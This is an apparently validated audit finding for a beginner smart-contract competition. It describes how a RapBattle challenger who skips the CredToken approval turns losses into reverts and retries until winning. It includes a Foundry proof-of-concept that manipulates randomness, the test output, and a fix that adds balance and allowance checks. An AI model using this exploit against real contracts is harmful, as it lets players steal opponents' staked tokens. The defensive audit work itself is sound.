Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

The challenger can force the battle to win with DDOS

Summary

During a battle the contract doesn't check if the challenger has enough CredToken and made the necessary approve. It will only be revealed when the challenger lose so the contract tries to transfer the bet to the defender.

This gives the challenger the opportunity to doesn't make the approve (or has insufficient balance) and make several tries (aka DDOS) to win the battle since the contract only reverts so he cannot lose CredTokens.

Vulnerability Details

A test environment makes us possible to manipulate randomness so we can simulate two scenarios when the challenger wins and loses.

function testChallengerDDOS() public twoSkilledRappers {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
@> // cred.approve(address(rapBattle), 3); --> Skip the approve
// Manipulate randomness
uint256 modifiedPrevrando = 16;
vm.prevrandao(bytes32(modifiedPrevrando));
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger)))
% 150; // --> addition of two fully skilled rappers battle skill
console.log("\n-- Random parameters when the challenger lose --");
console.log("Timestamp: ", block.timestamp);
console.log("Prevrandao: ", block.prevrandao);
console.log("Random: ", random);
vm.expectRevert();
rapBattle.goOnStageOrBattle(1, 3);
@> assert(cred.balanceOf(challenger) == 4); // --> The challenger lose but kept his CredTokens
// Manipulate randomness again
modifiedPrevrando = 0;
vm.prevrandao(bytes32(modifiedPrevrando));
random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger)))
% 150; // --> addition of two fully skilled rappers battle skill
console.log("\n-- Random parameters when the challenger win --");
console.log("Timestamp: ", block.timestamp);
console.log("Prevrandao: ", block.prevrandao);
console.log("Random: ", random);
vm.recordLogs();
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
Vm.Log[] memory entries = vm.getRecordedLogs();
// Convert the event bytes32 objects -> address
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(winner == challenger);
@> assert(cred.balanceOf(winner) == 7); // --> The challenger wins and got the defender's CredTokens
}

Result

forge test -vv --match-test testChallengerDDOS
[⠢] Compiling...
[⠑] Compiling 1 files with 0.8.23
[⠘] Solc 0.8.23 finished in 1.45s
Compiler run successful!
Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testChallangerDDOS() (gas: 638410)
Logs:
-- Random parameters when the challenger lose --
Timestamp: 345601
Prevrandao: 16
Random: 36
-- Random parameters when the challenger win --
Timestamp: 345601
Prevrandao: 0
Random: 98
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.71ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

As the result shows if the challenger doesn't make the approve he cannot lose just win.

Impact

A rapper can prevent to lose CredTokens and force to win the battle and get the defender's CredTokens.

Tools Used

Manual review, Foundry

Recommendations

Ensure that the challenger has enough tokens for the battle and made the approve for the RapBattle contract.

One way to achive this is to transfer the bet amount from the challenger to the contract before the battle but it has a gas impact.

The optimal solution is that only check the challenger's balance and allowance.
Since the ICreditToken interface doesn't support the IERC20.allowance method, first we need to add it.

Step 1

interface ICredToken {
function decimals() external returns (uint8);
function approve(address to, uint256 amount) external;
function transfer(address to, uint256 amount) external;
function transferFrom(address from, address to, uint256 amount) external;
function balanceOf(address user) external returns (uint256 balance);
+ function allowance(address owner, address spender) external returns (uint256);
}

Step 2

In RapBattle::goOnStageBattle

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ require(
+ credToken.balanceOf(msg.sender) >= _credBet &&
+ credToken.allowance(msg.sender, address(this)) >= _credBet,
+ "RapBattle: Challanger has not enough funds"
+ );
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.